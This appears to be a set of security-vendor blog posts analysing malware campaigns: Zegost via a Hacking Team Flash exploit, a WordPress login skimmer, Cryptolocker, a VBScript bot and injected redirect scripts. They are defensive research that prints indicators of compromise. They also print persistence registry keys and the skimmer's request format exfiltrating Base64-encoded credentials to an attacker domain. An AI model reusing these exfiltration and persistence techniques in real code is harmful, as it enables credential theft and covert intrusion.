Chinese Backdoor Zegost delivered via Hacking Team exploit

Introduction

Zscaler ThreatLabZ has been closely monitoring the usage of Hacking Team's leaked exploits in the wild since July, 2015 and recently uncovered the Emissary Panda APT attack leveraging these exploits. In past two months, we've spotted multiple instances of Zegost Backdoor Trojan installation attempts leveraging Hacking Team's Adobe Flash exploit (CVE-2015-5119) payload. These attacks do not appear to be targeted, but the payload involved in the infection cycle has some resemblance to recent APT payloads from HttpBrowser & the PlugX RAT family.

Attack Chain

The infection cycle starts with a legitimate Chinese real estate and shopping site www[.]kongquechang[.]com, which appears to have been compromised by the attackers and contains an injected script. The injected script will cause a series of redirects leading to Hacking Team's exploit payload as seen in Figure 1. The majority of users were led to the original compromised site following a Baidu search.

Figure 1: Compromised Chinese real estate & shopping site

The site www[.]kongquecheng[.]com is still infected but the exploit server appears to be down at the time of writing this blog. Attackers are abusing the Chinese URL shortening service t.cn to redirect victims to the attack server and also Baidu's URL shortening service dwz.cn to deliver the Adobe Flash exploit payload as seen below:

Figure 2: Zegost Backdoor Attack Chain

The Flash exploit payload (CVE-2015-5119) involved here is from the Hacking Team's leaked archive with updated shellcode. Upon successful exploitation, the embedded shellcode will trigger the download and execution of the Zegost executable from a predetermined location.

Figure 3: Hacking Team's Adobe Flash Exploit

Figure 4: Embedded shellcode to download & install Zegost

Zegost Payload Iterations

During the course of our monitoring we observed the attackers switch the malware payload multiple times.

Payload Type #1 - APT RAT like Zegost Installer

Filename:
svhost.exe

MD5:
E04F3C9C2F7BE694628AECCD23E8839D

The Zegost payload was being delivered as part of an installer archive, which is similar in structure to the APT RAT PlugX and HttpBrowser as detailed here. The downloaded installer was svhost.exe, which has following file structure:

Figure 5: APT RAT like Zegost installer archive

The Zegost installer is responsible for dropping the above three files and running the legitimate Ping_Master_Pro utility DATA.exe. The legitimate binary contains the data.dll in the import table, ensuring that the DLL will be loaded before it runs. The data.dll that gets loaded in this case, will be a fake VirtualBox display driver DLL file present in the same directory and it will patch the entry point of the main executable (DATA.exe) file with a jump instruction to run the DLL’s code instead. This technique is also known as DLL Hijacking which ensures that the fake display driver DLL gets loaded by abusing the Windows DLL load order. The DLL’s code is responsible for decrypting and running the Zegost Backdoor payload from the fafentuqiang.png file in the same memory space of the benign executable.

We observed a bug in the persistence module for this payload, which resulted in an incorrect path getting added to the registry entry created by the malware. The result was that upon system reboot the user's machine will no longer be infected with the Backdoor Trojan.

Payload Type #2 - Vanilla Zegost

Filename:
svhost.exe

MD5:
8F3B2C449793BC1538328CCC9BDC9CCD
62C705A0232EA6D4E3E3CE93F7506ACC

A modified Zegost payload was being delivered in decrypted form abandoning the installer archive structure. This payload was recently compiled and purports to be a XLLuaRuntime Dynamic Link Library file as seen below:

Figure 6: Recently compiled Zegost payload

Figure 7: Zegost payload file meta data

During our analysis we noticed that the persistence issue that existed in the previous iteration was resolved in this payload and the malware successfully remained active upon system reboot.

Zegost Infection Cycle

• Zegost Trojan drops a copy of itself in the Windows system directory as %SYSTEMDIR%\Autoexec.exe

• It creates the following registry key to ensure persistence upon system reboot:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ Nobug = %SYSTEMDIR%\Autoexec.exe

• We also saw an alternate code for achieving persistence by registering a new Windows Service:

HKLM\SYSTEM\CurrentControlSet\Services\

ServiceName - DirectX dwx

DisplayName - DirectX Remover auy for Windows(R).

ImagePath - %SYSTEMDIR%\Autoexec.exe

• The Trojan reports the infected system information to a predetermined remote server at the following location:

Domain - www[.]svshot[.]com

Server IP - 123.57.54[.]57

Server Port - 8999

• The Command & Control server domain used in this attack was recently registered and points to a dedicated server hosted on the shady Chinese autonomous system - AS37963 (CNNIC-ALIBABA-CN-NET-AP) as seen below:

Figure 8: Command & Control server hosted in China

The same server is also used for the initial Adobe Flash exploitation attempt.

Conclusion

Hacking Team's exploit payloads remain a popular choice among cyber criminals for weaponizing their payloads. This is the first instance of the Zegost Backdoor Trojan being delivered using Hacking Team's exploit. The Zegost Backdoor payload iterations we observed in this attack chain indicates that the author is testing out new payloads.

Zscaler’s ThreatLabZ has confirmed coverage for these exploits and for the Zegost variants, ensuring protection for organizations using Zscaler’s Internet security platform.

Research by: Deepen Desai, Amandeep Kumar

Compromised WordPress sites leaking credentials

Zscaler recently observed a credentials leak campaign on multiple WordPress sites. The compromised sites run backdoor code, which activates when the user submits login credentials. The credentials are encoded and sent to an attacker website in the form of a GET request. Till now, we have identified only one domain "conyouse.com" which is collecting all the credentials from these compromised sites.

The following is a sample list of WordPress websites compromised through this campaign:

•  shoneekapoor.com
•  dwaynefrancis.com
•  blissfields.co.uk
•  avalineholding.com
•  attherighttime.net
•  bolsaemprego.ne
•  capitaltrill.com
•  blowdrybar.es
•  espada.co.uk
•  technograte.com
•  socalhistory.org
•  blissfields.co.uk
•  glasgowcontemporarychoir.com
•  sombornefp.co.uk
•  reciclaconloscincosentidos.com
•  testrmb.com
•  digivelum.com
•  laflordelys.com

Credential Leakage

When unsuspecting users attempt to login to one of the compromised WordPress sites, they are served injected JavaScript code as part of the login page. Below, we walk through the full exploit cycle illustrating how the user credentials are being stolen through this campaign.

Compromised WordPress login page

As part of the WordPress login page, the user is getting served malicious information stealing JavaScript code hosted on “conyouse[.]com”. The obfuscated JavaScript code present in “wp.js” file can be seen here:

Information stealing JavaScript code

The variable “_0xdd75” stores a list of strings which are used dynamically in the JavaScript above.

List of encoded strings

This code is triggered when the user submits their credentials on the login page of the WordPress site.
The form containing the username and password input box has a fixed name as “loginform” in all WordPress sites. The preventDefault event method is used to cancel the submit event for “loginform” entity and execute the alternate code which is present in this file. The login credential string is serialised and encoded in a Base64 format.

Information Stealing JavaScript code

The final data is sent to "conyouse[.]com/scr.js", which is statically stored as one of the strings. The final GET request generated is as shown in the traffic:

GET Request relaying stolen credentials

On decoding the encoded string highlighted above we see that it’s relaying the stolen user credentials using the GET request. The format of this GET request is

"www.conyouse[.]com/scr.js?callback=jQuery<random number>&data=<BASE64_ENCODED_CREDENTIALS>&_=<random number>"

Base64 decoded data string

The complete sequence of action captured is shown in below screenshot.

Complete exploit cycle

The end user is oblivious to the fact that the credentials were leaked to a remote attacker's site as he is redirected to a successful logged in session of WordPress site.

Conclusion
WordPress, being one of the most popular Content Management Systems & Blogging platform, remains an attractive target for cybercriminals due to it's large user base. While the initial vector behind the compromise of the sites listed in this blog is unclear, it is extremely important for the site administrators to keep their WordPress sites patched with latest security updates.

Analysis by - Sameer Patil & Deepen Desai

Crypto-Ransomware Running Rampant

There's no doubt that ransomware is one of the most popular malware threats of 2014. Zscaler is not alone in this opinion, as other security firms have observed up to a 700% increase in infection rates to ransom-like malicious activity on victim PCs.  It's no wonder the attacks are so effective when for example, the delivery mechanism is designed to impersonate a legitimate service such as a harmless eFax.

This link is seen from a phishing e-mail.

Ransomware attacks can be monetized quickly and efficiently without the need to create a large scale botnet or expose the attacker's affiliate ID via click-fraud schemes. We've seen multiple attack vectors leveraged to target end users. Some vectors we have monitored include phishing email links or a malvertising campaign which leverages exploit kit distribution. Attackers will often pose as legitimate services, such as a law enforcement agency or a mass media outlet, in order to lure the unsuspecting victim into their scheme.

We recently encountered a ransomware campaign leveraging phishing e-mails purporting to be from the Australian Postal Services. The spam campaign themes used by the attackers involve tracking services or mobile invoices containing a link to the malicious content.  Upon completion of a CAPTCHA, the user is provided a zip file which contains a malicious executable posing as a PDF document.

At the time of research, this particular file shows a a detection rate of 16/53 antivirus engines on Virustotal. Before the victim even has a chance to realize their mistake, they are greeted by a message informing them of just how impacted they are.

It's rare for a piece of malware to name itself to the victim...

The goal of Cryptolocker or any other Crypto-Ransomware attack is to encrypt personal files and hold them hostage. The attacker encrypts the files using a specific key which is either obtained during the phone home request to a Command & Control (C2) server, or hard-coded within the malicious executable. In  this case, the malicious executable itself is falsely presenting itself as a valid executable for AQQ IM. 

AQQ is a popular IM application

Cryptolocker's encryption has been an evolving piece of this threat, often relying on asymmetric encryption to lock the victim's files.  In this particular version, the Cryptolocker variant targeted the following folders for encryption:

•  C:\MSOCache\All Users\
•  C:\Users\[Public/Username]\

The ".encrypted" files can only the key controlled by the attacker can release them.

The threat will also drop a file in the Windows directory and an associated registry key to launch the file upon boot.  This will ensure that the threat will remain persistent if the victim attempts to reboot their system.

The autostart value is randomly generated.

Cryptolocker will phone home to a hard-coded malicious domain via SSL. The SSL certificate is signed using the printable string 'debian'. This transaction is the secure communication which will provide the specific key needed to encrypt the victim's files.

Viewing the C:\Windows\uhjrajyj.exe in this case will reveal the hardcoded domain used to phone home.

The phone home address is hard-coded within the malicious payload.

Decrypted SSL traffic reveals the initial call back attempt that contains a POST request with victim's machine name and unique ID as seen below:

Decrypted call back attempt

This variant was found to be using a Domain Generation Algorithm for the C2 server communication, similar to the phone home method of Zeus.GameOver.

DGA activity

These domains are largely returning 504 errors now as they have either not yet been registered or have already been shutdown.  A few do were still live at the time of the research.  Zscaler inspected the associated IP addresses and found them to be hosted in the Russian Federation. The two server IP addresses of note at the time of the blog are 46.161.30.20 and 46.161.30.19.  Active ransomware URLs leading to these servers include:

• usygoseqowapadoh[.]com:443
• usygoseqowapadoh[.]com/topic.php
• octoberpics[.]ru:443
• octoberpics[.]ru/topic.php

Conclusion

Administrators should be on the lookout for the above connections as they likely indicate a compromised system. Given how prevalent this threat is, the U.S. Government recently released an associated alert on the US-CERT site. 

Taking regular backups of your personal files remains a user's best chance at mitigating the threat if they have been hit by this attack. It is also important for system administrators to enforce  strict file-type access control policies surrounding the download of archive and executable files from unknown sources.

Analysis of a VBScript bot

Introduction:

In the long list of complex threats that we see daily, it is interesting to see malware that is rather simple but effective in terms of the payload that it carries. At Zscaler ThreatLabZ, we recently 

came across one such innocent looking Bot, which targeted our customers. The file arrived as an attachment to a spam email message. The malware was written in VBScript.

Analysis:

Virustotal scan results show 14 out of 50 vendors detecting the malware.

Figure 1: Virus-total Result

The image below shows the malware opened in notepad. We can see that the file is obfuscated. That’s because the file has a “.vbe” extension (a “.vbe” is an encoded VBscript file), which would otherwise have a “.vbs” extension. The encoding support is provided to prevent people from reading the script.

Figure 2: Obfuscated VBScript

To be persistent, the malware copies itself into the startup folder in Windows (Figure 3)

Figure 3: Copy of Malware in the startup folder

Registry entry created by the malware to run itself at the system startup.(Figure 4)

Figure 4: Windows Registry (run entry)

It also adds a copy of itself to the Windows temporary folder (Figure 5).

Figure 5: Copy of Malware in temp folder

Next, the malware attempts to establish a connection to it's server (here wscript.exe is the Script Engine which executes VBScript).

Figure 6: Network communication

To extract more information we need to decode the file and obtain the original malware code in a readable form. Let's have a look at the decoded file.

Figure 7: Malware install code

The image above shows the code that is responsible for adding entry in the registry which 

allows the malware to execute every time the system starts , Also create it's own copy in the startup, temporary folder.

Another interesting part of this malware is it's ability to communicate over the network. The malware can actually receive a set of commands and execute them in an infected machine

At the time of analysis, the server to which the malware communicates seems to be down. Therefore, in order to fully understand how the malware communicates and also to demonstrate how effective and damaging this Bot is, I have decided to create an HTTP server and issue commands to the bot directly.

We can see from the code below, the wide range of commands that can be executed by this Bot. The commands are simple and self explanatory. 

Figure 8: Remote Commands

Let's see the effects of a few of these commands in detail. The “execute” command is capable of executing additional VBScript statements in the infected machine. The “update” command is issued to update the Bot , while “uninstall” removes the Bot entry from the Windows registry and startup folder.

There are also commands such as “send”, ”recv” and “site-send”. Interesting commands include “enum-driver”, “enum-faf”, “enum-process”, “cmd-shell”, “delete”, “exitprocess”.

Let us execute our server and wait for the Bot to connect to us and send information so we can then issue commands.

Figure 9: Malware callback

As seen in the image above, a “POST” request is made with it's path as “/is-ready”, indicating

that the Bot is up and ready. We can also observe information about the infected machine such as “volumeserialnumber”, “computername”, “username”,“operating system type”, installed

“anti-virus name” etc. To retrieve such information, the malware relies on Windows Management Instrumentation (WMI) queries.

Let us issue the command “enum-driver”. This command fetches the drive name and drive type of the infected machine as seen in the image below.

Figure 10: enum-drive

The next command “enum-faf” enumerates and fetches the content of an input directory or drive of the infected machine.

Figure 11: enum files 

The “enum-process” command fetches a list of processes that are running on the infected system.

Figure 12: enum-process

The “cmd-shell” command will allow the attacker to execute all DOS commands on the infected

system.

Figure 13: Execute Dos Command

Those are just a few of the powerful commands that the malware can execute in the infected system. This gives the malware near limitless power to control and steal data from the infected machine. The Bot and all it's communication are blocked by Zscaler.

Infection found on ‘feedburner.com’

Recently, we have seen the websites of MySQL and PHP.net being compromised. We have also blogged about Google Code being used as a drop site for holding malicious code.  These instances clearly suggest that attackers are targeting popular websites and using them in their attacks as they are less likely to be blocked by URL filters. This time we found that Google acquired ‘FeedBurner’, which provides custom RSS feeds and management tools to users is hosting an infected page. We found that one of the pages on the sub-domain ‘feeds.feedburner.com’ is serving malicious JavaScript.  The JavaScript is obfuscated and contains an iFrame, which after execution, redirects the user to a malicious website. More information about this particular attack can be found in McAfee's description of threat JS/Exploit-Blacole.em.

Let’s look at the infection in detail.

URL: hxxp://feeds.feedburner.com/bileblog

The following shows the redirection trace when visiting the aforementioned URL.

Network Trace:  

The redirection chain above case is as follows:
hxxp://feeds.feedburner.com/bileblog (Drops JavaScript Trojan)
--> hxxp://rsnvlbgcba.ibiz.cc/d/404.php?go=1  (Intermediate Redirection)
--> hxxp://fukbb.com/

Let’s take a look at a beautified version of the obfuscated JavaScript Trojan code which is dropped:

JavaScript Trojan code generally contains two main sections. The first is the decoder routine (i.e JavaScript code which decodes the embedded payload) and the second is the payload itself. Generally attackers keep on tweaking the decoder routine and payload to evade security vendors.

The de-obfuscated version of the code above can be seen here:

The de-obfuscated code loads an iFrame into the victim’s browser, which is redirecting the user to ‘hxxp://rsnvlbgcba.ibiz.cc/d/404.php?go=1’, which in turn redirects it to ‘hxxp://fukbb.com/’.

The source code hosted at ‘hxxp://rsnvlbgcba.ibiz.cc/d/404.php?go=1’ is a simple redirect:

   

 Final re-directed page:

Currently, ‘hxxp://fukbb.com’ is not serving any malicious code but the reputation of this site is found to be suspicious (Refer the VT link below). The page could however be revived at some point in the future. ThreatLabZ informed FeedBurner about this infection on 12/26/2013.

VT Reports:
File scan for JavaScript Trojan code: 24/49
URL scan on ‘hxxp://rsnvlbgcba.ibiz.cc/d/404.php?go=1’ :  2/51
URL scan on ‘hxxp://fukbb.com/’ :  3/51

ZULU Report:
URL Scan on ‘hxxp://feeds.feedburner.com/bileblog’: 100/100

Similar instances of this infection have been found on ‘http://celebrityshowdown.net/?feed=rss2’, which is also an RSS feed management site. The following is the network trace seen when visiting this URL.

The redirection chain observed in this case is as follows:
hxxp://celebrityshowdown.net/?feed=rss2    
--> hxxp://rhtbjgw.ibiz.cc/?go=2
--> hxxp://fukbb.com/

For a detailed report about this infections check the urlQueryreport.

We continue to see similar infections using malicious JavaScript injected into legitimate sites to redirect users to malicious sites on a daily basis. Most of the time the infected sites haven’t specifically been targeted, but have become infected during larger attacks conducted using browser exploit kits designed to automate the infection of as many sites as possible. We advise our readers to use online URL scanning tools such as ZULU to perform scans on URLs when suspicious, regardless of a site’s perceived reputation.

- pradeep

CookieBomb still dropping malicious content

Cookiebomb is malicious obfuscated javascript injected into legitmate sites.  We've talked on this blog about compromised sites before, but this one appears to still be fully functional and actively spreading malicious content to unsuspecting users.  The talent at MalwareMustDie is onto their shenanigans as well.  As they have mentioned, this is a multi-redirection exploitation that uses two stage obfuscation to hide it's malicious payload.  The curious thing about this situation is that few AV vendors have taken note of the good research.  The final dropped file is being detected by only 7/45 vendors.

Below is the analysis of a single sample taken from the final list of infected sites we have seen propagating this threat.

First, there is the obfuscation of a small JS inclusion into a potentially legitimate site.  This is where the CookieBomb sets a name, special variable, expiry date, and access path for the eventual infection.  If the cookie is not readily available, it will create one for you and redirect you to another obfuscated hidden iFrame.  Once the hidden site is visited, it will read the cookie's expiry date and provide redirection and infection at a later point to avoid security vendor detection.

Figure 1: Obfuscated Code

Please note that the comment at the top of the image ("/*0f24908*/") is changed and is not therefore useful for detection.

Figure 2: De-obfuscated code from Fig.1

In the deobfuscated code above, we see another URL delivered in a 1px iFrame.  Going to this site leads to yet another obfuscated page, where the real magic happens.  The very first thing that it does is attempt to confirm the version of browser plug-ins the attackers are up against.

Depending on the version installed, it will send the next portion of the attack.

The final step sends the malicious payload that the attackers went to so much trouble to obfuscate.  
 

Attack URLs

Obfuscated content from the obfuscated content

The final drop for this content is a malicious executable that is delivering a small Trojan.  At the time of research, only 7/45 vendors were detecting this content as malicious.

Fiddler session with malicious content being dropped.  (Readme.exe in this case.  Calc.exe in others.)

For the last several weeks, this attack has impacted the below sites:

•  hxxp://www.citytavern.com/
• hxxp://www.usadu.cz/park-en/
• hxxp://bluen.de/jobborse/
• hxxp://bluen.de/
• hxxp://www.niblackfuneralhome.com/
• hxxp://www.kinwindsor.com/
• hxxp://www.mtldesign.net/
• hxxp://javiervazquez.me/ernesto/fdjw3hv7.php
• hxxp://www.cmfurniturerental.com/
• hxxp://sdrs.splashtop.com/strs01/macupdatenotes/en-us/strs01.html
• hxxp://www.nauticodiver.de/tauchbas.htm
• hxxp://www.tmv-alsace-vtt.com/f/parcours.htm
• hxxp://www.cmstaging.com/
• hxxp://educationdegreeonlines.com/benefit-from-studying-with-the-laptop/
• hxxp://www.gute-reise-berlin.de/aussteller.html
• hxxp://lexespana.com/comunes                                                                                                          
• hxxp://livehappylife.com/
• hxxp://corpdeli.com/
• hxxp://www.sudan-sudan.com/sudan/architecture-sudan-sudan.html
• hxxp://www.cmfurniturerental.com/index.php?main_page=index&cPath=114&zenid=8557f58ea51118a7bd633015e3b954ec
• hxxp://www.cherokeecountysc.com/id26.html
• hxxp://www.gute-reise-berlin.de/startseite.html
• hxxp://www.selbstversuch-spanien.de/
• hxxp://educationdegreeonlines.com/
• hxxp://www.nauticodiver.de/schule.htm
• hxxp://bluen.de/uber-uns/
• hxxp://www.nauticodiver.de/impresssum.htm
• hxxp://www.imschuh.de/
• hxxp://www.nauticodiver.de/preisliste.htm
• hxxp://familyreunion.blackamericaweb.com/
• hxxp://bluen.de/jobborse/spezialist-in-akustikversuch/
• hxxp://www.uppertraining.com/blog/cisco-mobile-apps-cover-a-surprising-range-of-functionality/
• hxxp://www.opheij.nl/contact.html
• hxxp://www.hotelmirallac.com/castellano/tarifas.htm
• hxxp://www.sugargrovechamber.org/member_listing/34/curt+john+karas,+cpa,+mba,+pc/
• hxxp://www.kinwindsor.com/favicon.ico
• hxxp://glassdoctor-denver.calls.net/?gclid=CPLt2r3F-LgCFUFyQgodZxwAjQ
• hxxp://bluen.de/jobborse/spezialist-in-logistikplanung/
• hxxp://dreamliftgifts.com/faq.html
• hxxp://www.gute-reise-berlin.de/kontakt.html
• hxxp://www.plomberiumpierrefonds.ca/robinets-de-cuisine/
• hxxp://www.cerexagri.nl/
• hxxp://www.mrbouncehouse.com/
• hxxp://guia.lexespana.com/familia/servicio-domestico/extincion-del-contrato/
• hxxp://www.nauticodiver.de/start.htm
• hxxp://corpdeli.com/lunch-menu
• hxxp://www.hotelmirallac.com/castellano/habitaciones.htm
• hxxp://www.nauticodiver.de/
• hxxp://www.heapoil.org
• hxxp://www.mtldesign.net/aboutus.htm
• hxxp://www.le-vieux-four.com/
• hxxp://www.cleargridsolutions.com/developer.html
• hxxp://www.horseridingfun.com/
• hxxp://educationdegreeonlines.com/2013/07/

The most notable site here is splashtop.com, however, the malicious content has since been removed.  Since AV seems to be uninterested in protecting against this threat, it is advisable to make sure your browsing is safe through other means.

Technical Research: Krishnan Subramanian